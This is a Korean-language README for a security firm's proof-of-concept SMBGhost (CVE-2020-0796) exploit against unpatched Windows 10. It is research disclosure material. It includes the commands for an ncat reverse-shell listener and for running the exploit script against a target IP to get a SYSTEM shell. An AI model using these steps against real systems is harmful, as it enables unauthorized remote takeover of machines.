
CVE-2020-0796 (SMBGhost)에 대한 개념 증명 원격 코드 실행 익스플로잇으로, 패치되지 않은 Windows 10 1903/1909를 대상으로 합니다. SMB 프로토콜 취약점을 통해 리버스 셸을 전달합니다. 승인된 테스트 및 교육 목적으로 제작되었습니다.
(c) 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수를 찾아내다
CVE-2020-0796 / "SMBGhost"에 대한 원격 코드 실행 POC
예상 결과: 시스템 권한의 리버스 셸.
교육 및 기업 환경에서의 테스트 용도로만 사용하세요.
ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용은 개인의 책임입니다.
서버, 엔드포인트 및 모바일 장치용 에이전트 없는 DFIR 도구(자동으로 SMBGhost 및 기타 공격 유형 탐지)에 관심이 있으시면 [email protected]으로 문의하십시오.
Python과 ncat이 설치되어 있는지 확인하세요.
대상 컴퓨터에서 calc_target_offsets.bat을 실행하고, 스크립트 출력에 따라 SMBleedingGhost.py 파일 상단의 오프셋을 조정하십시오(아래 참고 사항도 확인).
ncat을 다음 명령줄 인수와 함께 실행하세요:
ncat -lvp <port>
여기서 <port>는 ncat이 수신 대기할 포트 번호입니다.
SMBleedingGhost.py를 다음 명령줄 인수와 함께 실행하세요:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
여기서 <target_ip>는 취약한 대상 컴퓨터의 IP 주소입니다. <reverse_shell_ip>와 <reverse_shell_port>는 ncat이 수신 대기 중인 IP 주소와 포트 번호입니다.
모든 것이 순조롭게 진행되면, ncat에 대상 컴퓨터에 대한 시스템 액세스 권한을 제공하는 셸이 표시됩니다.
참고: 대상 컴퓨터에서 calc_target_offsets.bat 스크립트를 실행해야 하는 이유와 이것이 원격 코드 실행의 '원격' 특성을 무색하게 하는지 궁금할 수 있습니다. 이러한 오프셋은 무작위가 아니며, 동일한 Windows 버전의 모든 Windows 인스턴스에서 동일합니다. 대상 Windows 버전을 감지하여 오프셋을 자동으로 조정하거나 오프셋에 전혀 의존하지 않음으로써 공격을 더 보편적으로 만들 수 있지만, 이는 단순한 POC이며 더 간단한 방법을 사용했습니다. 또한 POC가 보편적이지 않고 테스트 및 교육 외의 용도에 편리하지 않은 점을 좋은 것으로 봅니다.

Windows 10 버전 1903 및 1909가 영향을 받습니다. 패치되지 않은 Windows 10 1903 버전은 Windows의 널 역참조 버그(KB4512941에서 수정됨)로 인해 지원되지 않습니다.
악용의 특성상, POC는 단일 논리 프로세서를 가진 컴퓨터(또는 VM)에서 실행되는 대상에 가장 잘 작동합니다. VirtualBox에서 실행되는 논리 프로세서가 두 개 이상인 대상도 지원되지만, 이 경우 POC의 신뢰성이 떨어집니다. 다른 대상은 지원되지 않을 수 있습니다. 자세한 내용은 아래 기술 문서를 참조하십시오.